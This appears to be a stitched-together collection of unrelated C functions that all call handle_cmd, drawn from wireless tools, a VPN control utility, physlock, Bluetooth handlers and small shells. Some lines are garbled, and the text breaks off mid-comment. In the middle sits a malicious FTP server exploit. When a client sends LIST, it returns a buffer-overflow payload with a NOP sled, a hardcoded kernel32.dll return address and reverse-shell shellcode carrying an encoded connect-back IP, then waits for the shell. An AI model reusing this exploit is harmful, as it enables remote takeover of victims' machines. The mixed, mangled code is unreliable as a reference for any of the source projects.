int main(int argc, char *argv[])
{
struct mer_rule *mrule;
mer_rule_new(mrule);
switch (parse_args(argc, argv, mrule)) {
/* Error */
case -1:
out_error();
break;
/* Output help */
case 0:
out_help();
break;
/* Add rule */
case 1:
return handle_cmd(CMD_ADD, mrule);
/* Delete rule */
case 2:
return handle_cmd(CMD_DEL, mrule);
/* List rules */
case 3:
out_list();
break;
/* List rules */
case 4:
return handle_cmd(CMD_FLUSH, mrule);
default:
fprintf(stderr, "Unknown parse_args() return value.\n");
return -1;
}
return 0;
}
int handle_client(int fd, char **pwds)
{
char *buff;
size_t len;
char *cmd;
FILE *fp;
len = 0;
if (!(fp = fdopen(fd, "r+")))
return (my_perror(EOPEN, FAILURE, 0, fd));
fputstr(fd, "220 Service ready for new user.\r\n");
if (!(buff = my_user(fd, fp, "Anonymous\n", pwds)))
return (FAILURE);
buff = my_free(buff);
while (getline(&buff, &len, fp) >= 0 &&
strcmp(buff, "quit\r\n"))
{
if (!(cmd = strdup(buff)))
return (my_perror(EALLOC, FAILURE, 0, fd));
if (!handle_cmd(fd, fp, cmd, pwds))
return (FAILURE);
}
if (!buff || strcmp(buff, "quit\n") || my_free(buff))
return (FAILURE);
if (fclose(fp) == -1)
return (my_perror(ECCLOSE, FAILURE, fd, 0));
return (SUCCESS);
}
int main(int ac, char **av)
{
int ret;
t_cli *cli;
if (ac == 3)
{
if (init(&cli, av[1], av[2]) == -1)
return (-1);
ret = connect(cli->sock, (SOCKADDR *)&cli->sin, sizeof(cli->sin));
if (ret == -1)
return (-1);
puts("connecte au server");
while (1)
{
if (handle_signal() == -1)
return (-1);
if (cli->logged == 1 && cli->passed == 1)
{
if (handle_cmd(cli) == -1)
return (-1);
}
else
if (handle_user(cli) == -1)
return (-1);
}
}
}
static int mgmtcommand(int fd)
{
char buf[MAXCMD+1];
int n,rv;
int outfd=fd;
if (fd==STDIN_FILENO)
outfd=STDOUT_FILENO;
n = read(fd, buf, MAXCMD);
if (n<0) {
fprintf(stderr,"%s: read from mgmt %s",progname,strerror(errno));
return -1;
}
else if (n==0){
return -1;
/* Remote end has closed connection. */
}
else {
buf[n]=0;
rv=handle_cmd(outfd,buf);
if (rv>=0)
write(outfd,prompt,strlen(prompt));
return rv;
}
}
int
loop()
{
/* receive events */
while(1) {
il_octet_string_t *msg;
long offset;
int ret;
do_handle_signal();
if(killflg)
return (0);
clear_error();
if((ret = input_queue_get(&msg, &offset, INPUT_TIMEOUT)) < 0)
{
if(error_get_maj() == IL_PROTO) {
glite_common_log(IL_LOG_CATEGORY, LOG_PRIORITY_DEBUG,
" premature EOF while receiving event");
/* problems with socket input, try to catch up from files */
#ifndef PERF_EMPTY
event_store_recover_all();
#endif
continue;
} else
return(-1);
}
else if(ret == 0) {
continue;
}
#ifdef PERF_EMPTY
glite_wll_perftest_consumeEventString(msg->data);
free(msg->data);
continue;
#endif
#ifdef INTERLOGD_HANDLE_CMD
ret = handle_cmd(msg, offset);
if(ret == 0)
#endif
ret = handle_msg(msg, offset);
if(msg->data) free(msg->data);
if(ret < 0)
switch (error_get_maj()) {
case IL_SYS:
case IL_NOMEM:
return (ret);
break;
default:
glite_common_log(IL_LOG_CATEGORY, LOG_PRIORITY_ERROR,
"Error: %s",
error_get_msg());
break;
}
} /* while */
}
static int handle_mgmt_dump(struct nl80211_state *state,
struct nl_msg *msg, int argc,
char **argv, enum id_input id)
{
struct nl_cb *mgmt_cb;
char *ndev = argv[0];
int mgmt_argc = 5;
char **mgmt_argv;
unsigned int count = 0;
int err = 0;
int i;
mgmt_argv = calloc(mgmt_argc, sizeof(char*));
if (!mgmt_argv)
return -ENOMEM;
mgmt_argv[0] = ndev;
mgmt_argv[1] = "mgmt";
mgmt_argv[2] = "reg";
for (i = 3; i < argc; i += 3) {
if (strcmp(argv[i], "count") == 0) {
count = 1 + atoi(argv[i + 1]);
break;
}
if (strcmp(argv[i], "frame") != 0) {
err = 1;
goto out;
}
mgmt_argv[3] = argv[i + 1];
mgmt_argv[4] = argv[i + 2];
err = handle_cmd(state, II_NETDEV, mgmt_argc, mgmt_argv);
if (err)
goto out;
}
mgmt_cb = nl_cb_alloc(iw_debug ? NL_CB_DEBUG : NL_CB_DEFAULT);
if (!mgmt_cb) {
err = 1;
goto out;
}
/* need to turn off sequence number checking */
nl_cb_set(mgmt_cb, NL_CB_SEQ_CHECK, NL_CB_CUSTOM, seq_handler, NULL);
nl_cb_set(mgmt_cb, NL_CB_VALID, NL_CB_CUSTOM, dump_mgmt_frame, NULL);
while (--count)
nl_recvmsgs(state->nl_sock, mgmt_cb);
nl_cb_put(mgmt_cb);
out:
free(mgmt_argv);
return err;
}
/*
* Checks to see if there is a command waiting on stdin and, if there is,
* sends it to the command handler.
*
* 'usr' is a pointer to any user data that should be passed to executed
* commands; 'cmds' is a pointer to an END_CMDS-terminated array of command
* definitions (see cmd.h for details).
*/
enum error
check_commands(void *usr, const struct cmd *cmds)
{
enum error err = E_OK;
if (input_waiting())
err = handle_cmd(usr, cmds, stdin, NULL);
return err;
}
void main(void)
{
init();
nx_systick_wait_ms(5000);
/*
vDisplaySensorsValues();
U32 pos1=0;
U32 pos2=0;
vForwardStop(&pos1,&pos2,500);
nx_systick_wait_ms(1000);
vTurnRight(&pos1,&pos2);
nx_systick_wait_ms(1000);
vForwardStop(&pos1,&pos2,250);
nx_systick_wait_ms(1000);
vTurnLeft(&pos1,&pos2);
nx_systick_wait_ms(1000);
vForwardStop(&pos1,&pos2,250);
nx_systick_wait_ms(1000);
vTurnRight(&pos1,&pos2);
nx_systick_wait_ms(1000);
vForwardStop(&pos1,&pos2,250);
nx_systick_wait_ms(1000);
vTurnRight(&pos1,&pos2);
nx_systick_wait_ms(1000);
vForwardStop(&pos1,&pos2,500);
nx_systick_wait_ms(1000);
vTurnRight(&pos1,&pos2);
nx_systick_wait_ms(1000);
vForwardStop(&pos1,&pos2,250);
nx_systick_wait_ms(1000);
vTurnLeft(&pos1,&pos2);
nx_systick_wait_ms(1000);
vForwardStop(&pos1,&pos2,250);
*/
nx_display_cursor_set_pos(0, 5);
nx_display_string("en attente");
while (!quit) {
if (!nx_bt_stream_opened() || nx_bt_connection_pending())
bt_wait_connection();
else
{
nx_sound_freq(DO, 200);
nx_sound_freq(DO, 200);
nx_sound_freq(DO, 200);
handle_cmd();
}
}
die();
}
/* Reception of a radio message */
void mac_csma_data_indication(uint16_t src_addr,
const uint8_t *data, uint8_t length, int8_t rssi, uint8_t lqi)
{
// disable help message after receiving one packet
print_help = 0;
printf("\nradio > ");
printf("Got packet from %x. Len: %u Rssi: %d: '%s'\n",
src_addr, length, rssi, (const char*)data);
handle_cmd((handler_arg_t) '\n');
}
/* Reception of a radio message */
void mac_csma_data_received(uint16_t src_addr,
const uint8_t *data, uint8_t length, int8_t rssi, uint8_t lqi)
{
// disable help message after receiving one packet
print_help = 0;
struct node src_node = node_from_uid(src_addr);
printf("\nradio > ");
printf("Got packet from %x (%s-%u). Len: %u Rssi: %d: '%s'\n",
src_addr, src_node.type_str, src_node.num,
length, rssi, (const char*)data);
handle_cmd((handler_arg_t) '\n');
}
static int single_cmd(int argc, char **argv, void *pool, const char *file, cmd_params_st *params)
{
CONN_TYPE *conn;
char *line;
int ret;
conn = conn_init(pool, file);
line = merge_args(argc, argv);
ret = handle_cmd(conn, line, params);
free(line);
return ret;
}
int gdbr_send_command(libgdbr_t* g, char* command) {
int ret;
char* cmd = calloc((strlen(command) * 2 + strlen(CMD_QRCMD) + 2), sizeof(char));
strcpy (cmd, CMD_QRCMD);
pack_hex (command, strlen(command), (cmd + strlen(CMD_QRCMD)));
ret = send_command (g, cmd);
free (cmd);
if (ret < 0) return ret;
if (read_packet (g) > 0) {
parse_packet (g, 1);
return handle_cmd (g);
}
return -1;
}
static gboolean sap_io_cb(GIOChannel *io, GIOCondition cond, gpointer data)
{
struct sap_connection *conn = data;
char buf[SAP_BUF_SIZE];
size_t bytes_read = 0;
GError *gerr = NULL;
GIOStatus gstatus;
DBG("conn %p io %p", conn, io);
if (cond & G_IO_NVAL) {
DBG("ERR (G_IO_NVAL) on rfcomm socket.");
return FALSE;
}
if (cond & G_IO_ERR) {
DBG("ERR (G_IO_ERR) on rfcomm socket.");
return FALSE;
}
if (cond & G_IO_HUP) {
DBG("HUP on rfcomm socket.");
return FALSE;
}
gstatus = g_io_channel_read_chars(io, buf, sizeof(buf) - 1,
&bytes_read, &gerr);
if (gstatus != G_IO_STATUS_NORMAL) {
if (gerr)
g_error_free(gerr);
return TRUE;
}
if (handle_cmd(conn, buf, bytes_read) < 0)
error("SAP protocol processing failure.");
return TRUE;
}
int minishell(\
void)
{
int ret;
char cmd_buffer[FT_SH_CMD_BUFFER_SIZE + 1];
ft_bzero((void *)cmd_buffer, sizeof(char) * (FT_SH_CMD_BUFFER_SIZE + 1));
ft_printf((IS(O_COLOR, OPT) ? FMT_COL_PROMPT : FMT_STD_PROMPT));
ret = read(0, cmd_buffer, FT_SH_CMD_BUFFER_SIZE);
if (ret < 0)
{
error(Read, NULL, EXIT_FAILURE);
return (1);
}
else if (!ret)
return (0);
else if (empty_buffer(cmd_buffer))
return (1);
if (cmd_buffer[ret - 1] == '\n')
cmd_buffer[ret - 1] = 0;
return (handle_cmd(cmd_buffer));
}
static gboolean sap_io_cb(GIOChannel *io, GIOCondition cond, gpointer data)
{
char buf[SAP_BUF_SIZE];
gsize bytes_read = 0;//edited to remove warning message regarding TYPE
GError *gerr = NULL;
GIOStatus gstatus;
DBG("io %p", io);
if (cond & G_IO_NVAL) {
DBG("ERR (G_IO_NVAL) on rfcomm socket.");
return FALSE;
}
if (cond & G_IO_ERR) {
DBG("ERR (G_IO_ERR) on rfcomm socket.");
return FALSE;
}
if (cond & G_IO_HUP) {
DBG("HUP on rfcomm socket.");
return FALSE;
}
gstatus = g_io_channel_read_chars(io, buf, sizeof(buf) - 1,
&bytes_read, &gerr);
if (gstatus != G_IO_STATUS_NORMAL) {
if (gerr)
g_error_free(gerr);
return TRUE;
}
if (handle_cmd(data, buf, (size_t)bytes_read) < 0)//edited to remove warning message regarding TYPE
error("Invalid SAP message.");
return TRUE;
}
// Handle events from AFU
static void _handle_afu(struct psl *psl)
{
struct client *client;
uint64_t error;
uint8_t *buffer;
int reset_done;
size_t size;
reset_done = handle_aux2(psl->job, &(psl->parity_enabled),
&(psl->latency), &error);
if (error && !directed_mode_support(psl->mmio)) {
client = psl->client[0];
size = 1 + sizeof(uint64_t);
buffer = (uint8_t *) malloc(size);
buffer[0] = PSLSE_AFU_ERROR;
error = htonll(error);
memcpy((char *)&(buffer[1]), (char *)&error, sizeof(error));
if (put_bytes
(client->fd, size, buffer, psl->dbg_fp, psl->dbg_id,
0) < 0) {
client_drop(client, PSL_IDLE_CYCLES, CLIENT_NONE);
}
}
handle_mmio_ack(psl->mmio, psl->parity_enabled);
if (psl->cmd != NULL) {
if (reset_done)
psl->cmd->credits = psl->cmd->parms->credits;
handle_response(psl->cmd);
handle_buffer_write(psl->cmd);
handle_buffer_read(psl->cmd);
handle_buffer_data(psl->cmd, psl->parity_enabled);
handle_mem_write(psl->cmd);
handle_touch(psl->cmd);
handle_cmd(psl->cmd, psl->parity_enabled, psl->latency);
handle_interrupt(psl->cmd);
}
}
int main(int argc, char **argv) {
int only_root, auth = 0, chpid;
uid_t uid;
userinfo_t *as, root, user;
oldvt = oldsysrq = vt.nr = vt.fd = -1;
vt.ios = NULL;
root.name = "root";
parse_options(argc, argv);
if (geteuid() != 0) {
fprintf(stderr, "physlock: must be root!\n");
return 1;
}
setup_signal(SIGTERM, sa_handler_exit);
setup_signal(SIGQUIT, sa_handler_exit);
setup_signal(SIGHUP, SIG_IGN);
setup_signal(SIGINT, SIG_IGN);
setup_signal(SIGUSR1, SIG_IGN);
setup_signal(SIGUSR2, SIG_IGN);
vt_init();
get_current_vt(&oldvt);
if (options->only_lock) {
lock_vt_switch();
vt_destroy();
return 0;
} else if (options->only_unlock) {
unlock_vt_switch();
vt_destroy();
return 0;
}
if (options->disable_sysrq) {
oldsysrq = get_sysrq_state(SYSRQ_PATH);
if (oldsysrq > 0)
set_sysrq_state(SYSRQ_PATH, 0);
}
if (options->user) {
user.name = options->user;
} else {
uid = getuid();
get_uname(&user, uid);
}
get_pwhash(&root);
only_root = strcmp(user.name, root.name) == 0;
if (!only_root) {
get_pwhash(&user);
authenticate(&user, ""); /* test authentication */
}
acquire_new_vt(&vt);
lock_vt_switch();
secure_vt(&vt);
if (options->detach) {
chpid = fork();
if (chpid < 0)
die("could not spawn background process: %s", strerror(errno));
else if (chpid > 0)
return 0;
else
setsid();
}
if (options->cmd)
handle_cmd(1);
while (!auth) {
as = &root;
flush_vt(&vt);
if (!only_root) {
tty_echo_on(&vt);
while (1) {
prompt(vt.ios, "\nUnlock as [%s/%s]: ", user.name, root.name);
if (!*buf || !strcmp(buf, user.name)) {
as = &user;
break;
} else if (!strcmp(buf, root.name)) {
break;
}
}
tty_echo_off(&vt);
} else {
prompt(vt.ios, "\nPress [Enter] to unlock.\n");
}
prompt(vt.ios, "%s's password: "******"\nAuthentication failed\n");
sleep(AUTH_FAIL_TIMEOUT);
}
}
if (options->crypt)
add_passphrase(buf, options->fnek, vt.ios);
if (options->cmd)
handle_cmd(0);
sleep(1);
cleanup();
return 0;
}
static int plt_rx_statistics(struct nl80211_state *state, struct nl_cb *cb,
struct nl_msg *msg, int argc, char **argv)
{
int ret;
/* power mode on */
{
char *prms[4] = { "wlan0", "plt", "power_mode", "on" };
ret = handle_cmd(state, II_NETDEV, 4, prms);
if (ret < 0) {
fprintf(stderr, "Fail to set PLT power mode on\n");
return 1;
}
}
/* start_rx_statcs */
{
char *prms[3] = { "wlan0", "plt", "start_rx_statcs" };
ret = handle_cmd(state, II_NETDEV, 3, prms);
if (ret < 0) {
fprintf(stderr, "Fail to start Rx statistics\n");
goto fail_out;
}
}
/* get_rx_statcs */
{
int err;
char *prms[3] = { "wlan0", "plt", "get_rx_statcs" };
err = handle_cmd(state, II_NETDEV, 3, prms);
if (err < 0) {
fprintf(stderr, "Fail to get Rx statistics\n");
ret = err;
}
}
/* stop_rx_statcs */
{
int err;
char *prms[3] = { "wlan0", "plt", "stop_rx_statcs" };
err = handle_cmd(state, II_NETDEV, 3, prms);
if (err < 0) {
fprintf(stderr, "Fail to stop Rx statistics\n");
ret = err;
}
}
fail_out:
/* power mode off */
{
int err;
char *prms[4] = { "wlan0", "plt", "power_mode", "off"};
err = handle_cmd(state, II_NETDEV, 4, prms);
if (err < 0) {
fprintf(stderr, "Fail to set PLT power mode on\n");
return 1;
}
}
if (ret < 0)
return 1;
return 0;
}
int main(int argc, char **argv)
{
char *line = NULL;
CONN_TYPE *conn;
const char *file = NULL;
void *gl_pool;
cmd_params_st params;
memset(¶ms, 0, sizeof(params));
gl_pool = talloc_init("occtl");
if (gl_pool == NULL) {
fprintf(stderr, "talloc init error\n");
exit(1);
}
ocsignal(SIGPIPE, SIG_IGN);
if (argc > 1) {
while (argc > 1 && argv[1][0] == '-') {
if (argv[1][1] == 'j'
|| (argv[1][1] == '-' && argv[1][2] == 'j')) {
params.json = 1;
argv += 1;
argc -= 1;
} else if (argv[1][1] == 'n'
|| (argv[1][1] == '-' && argv[1][2] == 'n')) {
params.no_pager = 1;
argv += 1;
argc -= 1;
} else if (argv[1][1] == 'v'
|| (argv[1][1] == '-' && argv[1][2] == 'v')) {
version();
exit(0);
} else if (argc > 2 && (argv[1][1] == 's'
|| (argv[1][1] == '-' && argv[1][2] == 's'))) {
file = talloc_strdup(gl_pool, argv[2]);
if (argc == 3) {
goto interactive;
}
argv += 2;
argc -= 2;
} else {
usage();
exit(0);
}
}
/* handle all arguments as a command */
exit(single_cmd(argc, argv, gl_pool, file, ¶ms));
}
interactive:
conn = conn_init(gl_pool, file);
initialize_readline();
version();
for (;;) {
line = rl_gets(line);
if (line == NULL)
return 0;
handle_cmd(conn, line, 0);
}
conn_close(conn);
return 0;
}
static int plt_calibrate(struct nl80211_state *state, struct nl_cb *cb,
struct nl_msg *msg, int argc, char **argv)
{
int ret = 0, err;
int single_dual = 0;
if (argc > 2 && (strncmp(argv[2], "dual", 4) == 0))
single_dual = 1; /* going for dual band calibration */
else
single_dual = 0; /* going for single band calibration */
/* power mode on */
{
char *pm_on[4] = { "wlan0", "plt", "power_mode", "on" };
err = handle_cmd(state, II_NETDEV, 4, pm_on);
if (err < 0) {
fprintf(stderr, "Fail to set PLT power mode on\n");
ret = err;
goto fail_out_final;
}
}
/* tune channel */
{
char *pm_on[5] = {
"wlan0", "plt", "tune_channel", "0", "7"
};
err = handle_cmd(state, II_NETDEV, 5, pm_on);
if (err < 0) {
fprintf(stderr, "Fail to tune channel\n");
ret = err;
goto fail_out;
}
}
/* calibrate it */
{
char *prms[11] = {
"wlan0", "plt", "tx_bip", "1", "0", "0", "0",
"0", "0", "0", "0"
};
/* set flags in case of dual band */
if (single_dual) {
prms[4] = prms[5] = prms[6] = prms[7] = prms[8] =
prms[9] = prms[10] = "1";
}
err = handle_cmd(state, II_NETDEV, 11, prms);
if (err < 0) {
fprintf(stderr, "Fail to calibrate\n");
ret = err;
}
}
fail_out:
/* power mode off */
{
char *prms[4] = { "wlan0", "plt", "power_mode", "off"};
err = handle_cmd(state, II_NETDEV, 4, prms);
if (err < 0) {
fprintf(stderr, "Fail to set PLT power mode on\n");
ret = err;
}
}
fail_out_final:
if (ret < 0)
return 1;
return 0;
}
int main(int argc, char * argv[])
{
int socket_num; //socket descriptor
char send_buf[BUF_SIZE]; //data buffer
int send_len= 0; //amount of data to send
char in_buf[BUF_SIZE]; //data buffer
char cmd_buf[CMD_SIZE];
int in_len = 0;
int sent= 0; //actual amount of data sent
u_int32_t seq = 0;
Header header;
int code = 0;
int err = 0;
int result = 0;
int print = 1;
fd_set readSet;
/* check command line arguments */
if(argc!= 4)
{
printf("usage: %s host-name port-number handle\n", argv[0]);
exit(1);
}
send_len = init_client(seq++, argv[3], send_buf);
/* set up the socket for TCP transmission */
socket_num= tcp_send_setup(argv[1], argv[2]);
send(socket_num, send_buf, send_len, 0);
/* get the data and send it */
do {
FD_ZERO(&readSet);
FD_SET(STDIN_FILENO, &readSet);
FD_SET(socket_num, &readSet);
Prompt(&print, &err);
result = select(socket_num + 1, &readSet, NULL, NULL, NULL);
if(result < 0) {
perror("select call");
exit(-1);
}
if (FD_ISSET(STDIN_FILENO, &readSet)) {
in_len = read(STDIN_FILENO, in_buf, BUF_SIZE);
sscanf(in_buf, " %3s", cmd_buf);
if (cmd_buf[2] == '\0' && cmd_buf[0] == '%') {
code = handle_cmd(cmd_buf[1], send_buf, argv[3], &header, in_buf + strlen(cmd_buf), in_len, &send_len, &print);
Send(&code, &sent, &seq, &socket_num, send_buf, &send_len);
}
else {
print = 1;
printf("Invalid command\n");
}
}
if(FD_ISSET(socket_num, &readSet)) {
in_len = recv(socket_num, in_buf, BUF_SIZE, 0);
if (in_len <= 0) {
err = 2;
printf("\nServer Terminated");
}
else {
err = handle_server_data(in_buf, argv[3], in_len, socket_num);
SetFlags(&err, &print);
}
}
} while(err != 2);
close(socket_num);
return 0;
}
void
handle_cmd ( int s, int s2, char* ip )
{
int listenfd, connfd;
int i = 1;
int tmp[4];
unsigned long ret = 0x77ea5794; //edx eax ret in kernel32.dll
char* a = NULL;
char* cmd;
char out[128], buffer[1024], addr[32];
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
while ( 1 )
{
cmd = get_cmd ( s );
if ( strncmp ( cmd, "PWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "CWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "TYPE", 4 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "200 Type set to A..\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "PASV", 4 ) == 0 )
{
bzero ( &addr, 32 );
a = ( char* ) strtok ( ip, "." );
tmp[0] = ( int ) a;
while ( a != NULL )
{
a = ( char* ) strtok ( NULL, "." );
tmp[i] = ( int )a;
i++;
}
bzero ( &out, 128 );
sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( "--[ entering passive mode...\n" );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "socket failed!\n" NORMAL );
exit ( 1 );
}
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PASV );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( listenfd, 1 ) == -1 )
{
printf ( RED "listen failed!\n" NORMAL );
exit ( 1 );
}
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "accept failed!\n" NORMAL );
exit ( 1 );
}
close ( listenfd );
printf ( "--[" GREEN " passive connection established!\n" NORMAL );
handle_cmd ( s, connfd, addr );
}
else if ( strncmp ( cmd, "LIST", 4 ) == 0 )
{
printf ( "--[" GREEN " user is trying to use \"LIST\" command\n" NORMAL );
printf ( "--[ w00d w00d, let`s kick his ass...\n" );
bzero ( &buffer, 1024 );
memcpy ( buffer, head, sizeof ( head ) - 1 );
memset ( buffer + 68, 0x90, 255 );
memcpy ( buffer + 321, "\xeb\x46", 2 );
strncat ( buffer, ( unsigned char * ) &ret, 4 );
memset ( buffer + 327, 0x90, 66 );
memcpy ( buffer + 393, reverseshell, sizeof ( reverseshell ) - 1 );
strcat ( buffer, "\r\n" );
bzero ( &out, 128 );
strcpy ( out, "150 Here comes the directory listing.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( "--[ sending packet [ %d bytes ]...", strlen ( buffer ) );
if ( write ( s2, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL);
bzero ( &out, 128 );
strcpy ( out, "226 Transfer ok\r\n" );
printf ( "--[ confirming..." );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL);
close ( s2 );
start_reverse_handler ( argv3 );
}
else
{
bzero ( &out, 128 );
strcpy ( out, "550 command not supported\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
}
}
int
main ( int argc, char* argv[] )
{
int listenfd, connfd;
unsigned long xoredip;
unsigned short xoredcbport;
char* ip;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
if ( argc != 3 )
{
printf ( RED "--[ usage: %s <connectback ip> <connectback port>\n" NORMAL, argv[0] );
exit ( 1 );
}
if ( isip ( argv[1] ) != 0 )
{
printf ( RED "--[ enter a valid IP\n" NORMAL );
exit ( 1 );
}
system ( "clear" );
header ();
argv3 = argv[2];
xoredip = inet_addr ( argv[1] ) ^ ( unsigned long ) 0x99999999;
xoredcbport = htons ( atoi ( argv[2] ) ) ^ ( unsigned short ) 0x9999;
memcpy ( &reverseshell[111], &xoredip, 4);
memcpy ( &reverseshell[118], &xoredcbport, 2);
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "socket failed!\n" NORMAL );
exit ( 1 );
}
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PORT );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( listenfd, BACKLOG ) == -1 )
{
printf ( RED "listen failed!\n" NORMAL );
exit ( 1 );
}
for ( ; ; )
{
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "accept failed!\n" NORMAL );
exit ( 1 );
}
if ( ( childpid = fork ( ) ) == 0 )
{
close ( listenfd );
ip = ( char* ) ( argv[1] );
printf ( "--[ local IP: %s\n", ip );
printf ( "--[" GREEN " incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
auth ( connfd );
handle_cmd ( connfd, ( int ) NULL, ip );
}
close ( connfd );
}
}
//******************************************************************************
/// \brief Main bridge function to handle a single connection
/// \return #mxt_rc
static int bridge(struct mxt_device *mxt, int sockfd)
{
int ret, pollret;
struct pollfd fds[2];
int fopts = 0;
int debug_ng_fd = 0;
int numfds = 1;
int timeout;
mxt_info(mxt->ctx, "Connected");
ret = mxt_msg_reset(mxt);
if (ret)
mxt_err(mxt->ctx, "Failure to reset msgs");
fds[0].fd = sockfd;
fds[0].events = POLLIN | POLLERR;
ret = send_chip_attach(mxt, sockfd);
if (ret)
return ret;
while (1) {
debug_ng_fd = mxt_get_msg_poll_fd(mxt);
if (debug_ng_fd) {
fds[1].fd = debug_ng_fd;
fds[1].events = POLLPRI;
numfds = 2;
timeout = -1;
} else {
timeout = 100; // milliseconds
}
pollret = poll(fds, numfds, timeout);
if (pollret == -1 && errno == EINTR) {
mxt_dbg(mxt->ctx, "Interrupted");
continue;
} else if (pollret == -1) {
mxt_err(mxt->ctx, "Poll returned %d (%s)", errno, strerror(errno));
ret = mxt_errno_to_rc(errno);
goto disconnect;
}
/* Detect socket disconnect */
if (fcntl(sockfd, F_GETFL, &fopts) < 0) {
ret = MXT_SUCCESS;
mxt_dbg(mxt->ctx, "Socket disconnected");
goto disconnect;
}
if (fds[0].revents) {
ret = handle_cmd(mxt, sockfd);
if (ret) {
mxt_dbg(mxt->ctx, "handle_cmd returned %d", ret);
goto disconnect;
}
}
/* If timeout or msg poll fd event */
if (pollret == 0 || fds[1].revents) {
ret = handle_messages(mxt, sockfd);
if (ret)
goto disconnect;
}
}
disconnect:
mxt_info(mxt->ctx, "Disconnected");
return ret;
}
int
main ( int argc, char* argv[] )
{
int listenfd, connfd;
char* ip;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
if ( argc != 2 )
{
printf ( RED "[!] Usage: %s LOCAL_IP\n" NORMAL, argv[0] );
exit ( 1 );
}
if ( isip ( argv[1] ) != 0 )
{
printf ( RED "[!] Enter Valid IP\n" NORMAL );
exit ( 1 );
}
system ( "clear" );
header ();
printf ( "[*] Creating socket..." );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PORT );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
printf ( "[*] Listening..." );
if ( listen ( listenfd, BACKLOG ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
for ( ; ; )
{
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
if ( ( childpid = fork ( ) ) == 0 )
{
close ( listenfd );
ip = ( char* ) ( argv[1] );
printf ( "[*] Local IP: %s\n", ip );
printf ( "[*]" GREEN " Incomming connection from:\t %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
auth ( connfd );
handle_cmd ( connfd, ( int ) NULL, ip );
}
close ( connfd );
}
}
static int iw_connect(struct nl80211_state *state,
struct nl_msg *msg, int argc, char **argv,
enum id_input id)
{
char **conn_argv, *dev = argv[0];
static const __u32 cmds[] = {
NL80211_CMD_CONNECT,
};
struct print_event_args printargs = { };
int conn_argc, err;
bool wait = false;
int i;
/* strip "wlan0 connect" */
argc -= 2;
argv += 2;
/* check -w */
if (argc && strcmp(argv[0], "-w") == 0) {
wait = true;
argc--;
argv++;
}
err = __prepare_listen_events(state);
if (err)
return err;
conn_argc = 3 + argc;
conn_argv = calloc(conn_argc, sizeof(*conn_argv));
if (!conn_argv)
return -ENOMEM;
conn_argv[0] = dev;
conn_argv[1] = "connect";
conn_argv[2] = "establish";
for (i = 0; i < argc; i++)
conn_argv[i + 3] = argv[i];
err = handle_cmd(state, id, conn_argc, conn_argv);
free(conn_argv);
if (err)
return err;
if (!wait)
return 0;
/*
* WARNING: DO NOT COPY THIS CODE INTO YOUR APPLICATION
*
* This code has a bug:
*
* It is possible for a connect result message from another
* connect attempt to be processed here first, because we
* start listening to the multicast group before starting
* our own connect request, which may succeed but we get a
